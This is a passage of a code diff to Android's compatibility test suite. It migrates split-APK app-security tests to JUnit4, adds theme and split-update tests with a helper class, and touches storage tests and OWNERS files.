+ private static final String BASE_THEME_ACTIVITY = ".ThemeActivity";
+ private static final String WARM_THEME_ACTIVITY = ".WarmThemeActivity";
+ private static final String ROSE_THEME_ACTIVITY = ".RoseThemeActivity";
+
+ @Rule
+ public ActivityTestRule<Activity> mActivityRule =
+ new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+ false /*launchActivity*/);
+
+ @Test
public void testNothing() throws Exception {
}
+ @Test
public void testSingleBase() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -131,6 +160,7 @@
}
}
+ @Test
public void testDensitySingle() throws Exception {
final Resources r = getContext().getResources();
@@ -143,6 +173,7 @@
assertEquals(0xff7e00ff, getDrawableColor(d));
}
+ @Test
public void testDensityAll() throws Exception {
final Resources r = getContext().getResources();
@@ -164,6 +195,7 @@
assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
}
+ @Test
public void testDensityBest1() throws Exception {
final Resources r = getContext().getResources();
@@ -172,6 +204,7 @@
assertEquals(0xff7e00ff, getDrawableColor(r.getDrawable(R.drawable.image)));
}
+ @Test
public void testDensityBest2() throws Exception {
final Resources r = getContext().getResources();
@@ -180,6 +213,7 @@
assertEquals(0xffff0000, getDrawableColor(r.getDrawable(R.drawable.image)));
}
+ @Test
public void testApi() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -196,6 +230,7 @@
assertEquals("com.android.cts.splitapp.MyReceiver", result.get(0).activityInfo.name);
}
+ @Test
public void testLocale() throws Exception {
final Resources r = getContext().getResources();
@@ -212,6 +247,7 @@
assertEquals("pourpre", r.getString(R.string.my_string2));
}
+ @Test
public void testNative() throws Exception {
Log.d(TAG, "testNative() thinks it's using ABI " + Native.arch());
@@ -219,7 +255,8 @@
assertEquals(11642, Native.add(4933, 6709));
}
- public void testFeatureBase() throws Exception {
+ @Test
+ public void testFeatureWarmBase() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -236,9 +273,9 @@
// And that we can access resources from feature
assertEquals("red", r.getString(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_string", "string", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
assertEquals(123, r.getInteger(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -326,6 +363,7 @@
}
}
+ @Test
public void testBaseInstalled() throws Exception {
final ConditionVariable cv = new ConditionVariable();
final BroadcastReceiver r = new BroadcastReceiver() {
@@ -351,6 +389,7 @@
* Prior to running this test, the activity must be started. That is currently
* done in {@link #testBaseInstalled()}.
*/
+ @Test
public void testFeatureInstalled() throws Exception {
final ConditionVariable cv = new ConditionVariable();
final BroadcastReceiver r = new BroadcastReceiver() {
@@ -370,7 +409,8 @@
getContext().unregisterReceiver(r);
}
- public void testFeatureApi() throws Exception {
+ @Test
+ public void testFeatureWarmApi() throws Exception {
final Resources r = getContext().getResources();
final PackageManager pm = getContext().getPackageManager();
@@ -379,7 +419,7 @@
// And that we can access resources from feature
assertEquals(321, r.getInteger(r.getIdentifier(
- "com.android.cts.splitapp.feature:feature_integer", "integer", PKG)));
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
final Class<?> featR = Class.forName("com.android.cts.splitapp.FeatureR");
final int boolId = (int) featR.getDeclaredField("feature_receiver_enabled").get(null);
@@ -396,10 +436,119 @@
assertEquals(0, result.size());
}
+ @Test
+ public void testInheritUpdatedBase_withRevisionA() throws Exception {
+ final Resources r = getContext().getResources();
+ final PackageManager pm = getContext().getPackageManager();
+
+ // Resources should have been updated
+ assertEquals(true, r.getBoolean(R.bool.my_receiver_enabled));
+
+ assertEquals("blue-revision", r.getString(R.string.my_string1));
+ assertEquals("purple-revision", r.getString(R.string.my_string2));
+
+ assertEquals(0xff00ffff, r.getColor(R.color.my_color));
+ assertEquals(456, r.getInteger(R.integer.my_integer));
+
+ // Also, new resources could be found
+ assertEquals("new string", r.getString(r.getIdentifier(
+ "my_new_string", "string", PKG)));
+
+ assertAssetContents(r, "fileA.txt", "FILEA");
+ assertAssetContents(r, "dir/dirfileA.txt", "DIRFILEA");
+
+ // Activity of ACTION_MAIN should have been updated to .revision_a.MyActivity
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.addCategory(Intent.CATEGORY_LAUNCHER);
+ intent.setPackage(PKG);
+ final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.MyActivity");
+
+ // Receiver of DATE_CHANGED should have been updated to .revision_a.MyReceiver
+ intent = new Intent(Intent.ACTION_DATE_CHANGED);
+ intent.setPackage(PKG);
+ final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(receiverNames).contains("com.android.cts.splitapp.revision_a.MyReceiver");
+
+ // Provider should have been updated to .revision_a.MyProvider
+ final ProviderInfo info = pm.resolveContentProvider("com.android.cts.splitapp", 0);
+ assertEquals("com.android.cts.splitapp.revision_a.MyProvider", info.name);
+
+ // And assert that we spun up the provider in this process
+ final Class<?> provider = Class.forName("com.android.cts.splitapp.revision_a.MyProvider");
+ final Field field = provider.getDeclaredField("sCreated");
+ assertTrue("Expected provider to have been created", (boolean) field.get(null));
+
+ // Camera permission has been removed
+ try {
+ getContext().enforceCallingOrSelfPermission(android.Manifest.permission.CAMERA, null);
+ fail("Camera permission should not be granted");
+ } catch (SecurityException expected) {
+ }
+
+ // New Vibrate permision should be granted
+ getContext().enforceCallingOrSelfPermission(android.Manifest.permission.VIBRATE, null);
+ }
+
+ @Test
+ public void testInheritUpdatedSplit_withRevisionA() throws Exception {
+ final Resources r = getContext().getResources();
+ final PackageManager pm = getContext().getPackageManager();
+
+ // Resources should have been updated
+ assertEquals("red-revision", r.getString(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_string", "string", PKG)));
+ assertEquals(456, r.getInteger(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_integer", "integer", PKG)));
+
+ // Also, new resources could be found
+ assertEquals("feature new string", r.getString(r.getIdentifier(
+ "com.android.cts.splitapp.feature_warm:feature_new_string", "string", PKG)));
+
+ assertAssetContents(r, "fileFA.txt", "FILE_FA");
+ assertAssetContents(r, "dir/dirfileFA.txt", "DIRFILE_FA");
+
+ // Activity of ACTION_MAIN should have been updated to .revision_a.FeatureActivity
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.addCategory(Intent.CATEGORY_LAUNCHER);
+ intent.setPackage(PKG);
+ final List<String> activityNames = pm.queryIntentActivities(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(activityNames).contains("com.android.cts.splitapp.revision_a.FeatureActivity");
+
+ // Receiver of DATE_CHANGED could not be found
+ intent = new Intent(Intent.ACTION_DATE_CHANGED);
+ intent.setPackage(PKG);
+ final List<String> receiverNames = pm.queryBroadcastReceivers(intent, 0).stream()
+ .map(info -> info.activityInfo.name).collect(Collectors.toList());
+ assertThat(receiverNames).doesNotContain("com.android.cts.splitapp.FeatureReceiver");
+
+ // Service of splitapp should have been updated to .revision_a.FeatureService
+ intent = new Intent("com.android.cts.splitapp.service");
+ intent.setPackage(PKG);
+ final List<String> serviceNames = pm.queryIntentServices(intent, 0).stream()
+ .map(info -> info.serviceInfo.name).collect(Collectors.toList());
+ assertThat(serviceNames).contains("com.android.cts.splitapp.revision_a.FeatureService");
+
+ // Provider should have been updated to .revision_a.FeatureProvider
+ final ProviderInfo info = pm.resolveContentProvider(
+ "com.android.cts.splitapp.provider", 0);
+ assertEquals("com.android.cts.splitapp.revision_a.FeatureProvider", info.name);
+
+ // And assert that we spun up the provider in this process
+ final Class<?> provider = Class.forName(
+ "com.android.cts.splitapp.revision_a.FeatureProvider");
+ final Field field = provider.getDeclaredField("sCreated");
+ assertTrue("Expected provider to have been created", (boolean) field.get(null));
+ }
+
/**
* Write app data in a number of locations that expect to remain intact over
* long periods of time, such as across app moves.
*/
+ @Test
public void testDataWrite() throws Exception {
final String token = String.valueOf(android.os.Process.myUid());
writeString(getContext().getFileStreamPath("my_int"), token);
@@ -418,6 +567,7 @@
/**
* Verify that data written by {@link #testDataWrite()} is still intact.
*/
+ @Test
public void testDataRead() throws Exception {
final String token = String.valueOf(android.os.Process.myUid());
assertEquals(token, readString(getContext().getFileStreamPath("my_int")));
@@ -445,6 +595,7 @@
/**
* Verify that app is installed on internal storage.
*/
+ @Test
public void testDataInternal() throws Exception {
final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
@@ -454,17 +605,20 @@
/**
* Verify that app is not installed on internal storage.
*/
+ @Test
public void testDataNotInternal() throws Exception {
final StructStat internal = Os.stat(Environment.getDataDirectory().getAbsolutePath());
final StructStat actual = Os.stat(getContext().getFilesDir().getAbsolutePath());
MoreAsserts.assertNotEqual(internal.st_dev, actual.st_dev);
}
+ @Test
public void testPrimaryDataWrite() throws Exception {
final String token = String.valueOf(android.os.Process.myUid());
writeString(new File(getContext().getExternalFilesDir(null), "my_ext"), token);
}
+ @Test
public void testPrimaryDataRead() throws Exception {
final String token = String.valueOf(android.os.Process.myUid());
assertEquals(token, readString(new File(getContext().getExternalFilesDir(null), "my_ext")));
@@ -473,6 +627,7 @@
/**
* Verify shared storage behavior when on internal storage.
*/
+ @Test
public void testPrimaryInternal() throws Exception {
assertTrue("emulated", Environment.isExternalStorageEmulated());
assertFalse("removable", Environment.isExternalStorageRemovable());
@@ -482,6 +637,7 @@
/**
* Verify shared storage behavior when on physical storage.
*/
+ @Test
public void testPrimaryPhysical() throws Exception {
assertFalse("emulated", Environment.isExternalStorageEmulated());
assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -491,6 +647,7 @@
/**
* Verify shared storage behavior when on adopted storage.
*/
+ @Test
public void testPrimaryAdopted() throws Exception {
assertTrue("emulated", Environment.isExternalStorageEmulated());
assertTrue("removable", Environment.isExternalStorageRemovable());
@@ -500,6 +657,7 @@
/**
* Verify that shared storage is unmounted.
*/
+ @Test
public void testPrimaryUnmounted() throws Exception {
MoreAsserts.assertNotEqual(Environment.MEDIA_MOUNTED,
Environment.getExternalStorageState());
@@ -508,6 +666,7 @@
/**
* Verify that shared storage lives on same volume as app.
*/
+ @Test
public void testPrimaryOnSameVolume() throws Exception {
final File current = getContext().getFilesDir();
final File primary = Environment.getExternalStorageDirectory();
@@ -521,16 +680,19 @@
}
}
+ @Test
public void testCodeCacheWrite() throws Exception {
assertTrue(new File(getContext().getFilesDir(), "normal.raw").createNewFile());
assertTrue(new File(getContext().getCodeCacheDir(), "cache.raw").createNewFile());
}
+ @Test
public void testCodeCacheRead() throws Exception {
assertTrue(new File(getContext().getFilesDir(), "normal.raw").exists());
assertFalse(new File(getContext().getCodeCacheDir(), "cache.raw").exists());
}
+ @Test
public void testRevision0_0() throws Exception {
final PackageInfo info = getContext().getPackageManager()
.getPackageInfo(getContext().getPackageName(), 0);
@@ -539,6 +701,7 @@
assertEquals(0, info.splitRevisionCodes[0]);
}
+ @Test
public void testRevision12_0() throws Exception {
final PackageInfo info = getContext().getPackageManager()
.getPackageInfo(getContext().getPackageName(), 0);
@@ -547,6 +710,7 @@
assertEquals(0, info.splitRevisionCodes[0]);
}
+ @Test
public void testRevision0_12() throws Exception {
final PackageInfo info = getContext().getPackageManager()
.getPackageInfo(getContext().getPackageName(), 0);
@@ -555,6 +719,103 @@
assertEquals(12, info.splitRevisionCodes[0]);
}
+ @Test
+ public void launchBaseActivity_withThemeBase_baseApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE_LT);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeBase_baseApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+ ThemeColors.BASE_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeRose_roseApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+ }
+
+ @Test
+ public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeWarm_warmApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeRose_roseApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+ }
+
+ @Test
+ public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+ assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+ resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+ }
+
+ private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+ ThemeColors themeColors) {
+ final Activity activity = mActivityRule.launchActivity(
+ getTestThemeIntent(activityName, themeResId));
+ final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+ expected.assertThemeValues(themeColors);
+ expected.assertThemeApplied(activity);
+ }
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+
private static void updateDpi(Resources r, int densityDpi) {
final Configuration c = new Configuration(r.getConfiguration());
c.densityDpi = densityDpi;
@@ -618,4 +879,17 @@
is.close();
}
}
+
+ private int resolveResourceId(String nameOfIdentifier) {
+ final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+ assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+ return resId;
+ }
+
+ private static Intent getTestThemeIntent(String activityName, int themeResId) {
+ final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+ intent.setComponent(ComponentName.createRelative(PKG, activityName));
+ intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+ return intent;
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+ public static final String THEME_WARM =
+ "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+ public static final String THEME_ROSE =
+ "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+ public enum ThemeColors {
+ BASE,
+ BASE_LT,
+ WARM,
+ WARM_LT,
+ ROSE,
+ ROSE_LT
+ };
+
+ private static final int COLOR_BLUE = 0xFF0000FF;
+ private static final int COLOR_TEAL = 0xFF008080;
+ private static final int COLOR_AQUA = 0xFF00FFFF;
+ private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+ private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+ private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+ private static final int COLOR_RED = 0xFFFF0000;
+ private static final int COLOR_YELLOW = 0xFFFFFF00;
+ private static final int COLOR_RED_LT = 0xFFFFCCCB;
+ private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+ private static final int COLOR_PINK = 0xFFFFC0CB;
+ private static final int COLOR_RUBY = 0xFFCC0080;
+ private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+ private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+ private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+ private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+ private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+ private static final int[] THEME_WARM_LT_COLORS =
+ {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+ private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+ private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+ /** {@link com.android.cts.splitapp.R.attr.customColor} */
+ private final int mCustomColor;
+
+ /** {#link android.R.attr.colorBackground} */
+ private final int mColorBackground;
+
+ /** {#link android.R.attr.navigationBarColor} */
+ private final int mNavigationBarColor;
+
+ /** {#link android.R.attr.statusBarColor} */
+ private final int mStatusBarColor;
+
+ /** {#link android.R.attr.windowBackground} */
+ private final int mWindowBackground;
+
+ public TestThemeHelper(Context context, int themeResId) {
+ final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+ mCustomColor = getColor(theme, R.attr.customColor);
+ mColorBackground = getColor(theme, android.R.attr.colorBackground);
+ mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+ mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+ mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+ }
+
+ public void assertThemeValues(ThemeColors themeColors) {
+ final int[] colors = getThemeColors(themeColors);
+ assertThat(themeColors).isNotNull();
+ assertThat(mCustomColor).isEqualTo(colors[0]);
+ assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+ assertThat(mStatusBarColor).isEqualTo(colors[2]);
+ assertThat(mWindowBackground).isEqualTo(mCustomColor);
+ }
+
+ private int[] getThemeColors(ThemeColors themeColors) {
+ switch (themeColors) {
+ case BASE: return THEME_BASE_COLORS;
+ case BASE_LT: return THEME_BASE_LT_COLORS;
+ case WARM: return THEME_WARM_COLORS;
+ case WARM_LT: return THEME_WARM_LT_COLORS;
+ case ROSE: return THEME_ROSE_COLORS;
+ case ROSE_LT: return THEME_ROSE_LT_COLORS;
+ default:
+ break;
+ }
+ return null;
+ }
+
+ public void assertThemeApplied(Activity activity) {
+ assertLayoutBGColor(activity, mCustomColor);
+
+ final Window window = activity.getWindow();
+ assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+ assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+ assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+ assertTextViewBGColor(activity);
+ }
+
+ private int getColor(Resources.Theme theme, int resourceId) {
+ final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+ final int color = ta.getColor(0, 0);
+ ta.recycle();
+ return color;
+ }
+
+ private int getDrawableColor(Resources.Theme theme, int resourceId) {
+ final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+ final Drawable color = ta.getDrawable(0);
+ ta.recycle();
+ if (!(color instanceof ColorDrawable)) {
+ fail("Can't get drawable color");
+ }
+ return ((ColorDrawable) color).getColor();
+ }
+
+ private void assertLayoutBGColor(Activity activity, int expected) {
+ final LinearLayout layout = activity.findViewById(R.id.content);
+ final Drawable background = layout.getBackground();
+ assertDrawableColor(background, expected);
+ }
+
+ private void assertDrawableColor(Drawable drawable, int expected) {
+ int color = 0;
+ if (drawable instanceof ColorDrawable) {
+ color = ((ColorDrawable) drawable).getColor();
+ } else {
+ fail("Can't get drawable color");
+ }
+ assertThat(color).isEqualTo(expected);
+ }
+
+ private void assertTextViewBGColor(Activity activity) {
+ final View view = activity.findViewById(R.id.text);
+ final Drawable background = view.getBackground();
+ assertDrawableColor(background, mColorBackground);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+ static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+ static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+ setTheme(themeResId);
+ setContentView(R.layout.base_linearlayout);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index af75c90..9ca02fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -19,6 +19,7 @@
import static android.os.storage.StorageManager.UUID_DEFAULT;
import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CACHE_EXT;
import static com.android.cts.storageapp.Utils.CODE_ALL;
import static com.android.cts.storageapp.Utils.DATA_ALL;
import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
@@ -130,6 +131,12 @@
final long deltaCache = CACHE_ALL;
assertMostlyEquals(deltaCache, afterApp.getCacheBytes() - beforeApp.getCacheBytes());
assertMostlyEquals(deltaCache, afterUser.getCacheBytes() - beforeUser.getCacheBytes());
+
+ final long deltaExternalCache = CACHE_EXT;
+ assertMostlyEquals(deltaExternalCache,
+ afterApp.getExternalCacheBytes() - beforeApp.getExternalCacheBytes());
+ assertMostlyEquals(deltaExternalCache,
+ afterUser.getExternalCacheBytes() - beforeUser.getExternalCacheBytes());
}
public void testVerifyStatsMultiple() throws Exception {
@@ -296,6 +303,8 @@
final long targetB = doAllocateProvider(PKG_B, 2.0, 1420070400);
final long totalAllocated = targetA + targetB;
+ MediaStore.waitForIdle(getContext().getContentResolver());
+
// Apps using up some cache space shouldn't change how much we can
// allocate, or how much we think is free; but it should decrease real
// disk space.
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 0038c05..7dc9cca 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -24,6 +24,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/backup/AdbBackupApp/Android.bp b/hostsidetests/backup/AdbBackupApp/Android.bp
new file mode 100644
index 0000000..089dd4a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app that contains helper procedures to run 'adb backup' / 'adb restore'
+android_test_helper_app {
+ name: "AdbBackupApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ static_libs: [
+ "androidx.test.rules",
+ "platform-test-annotations",
+ "ub-uiautomator",
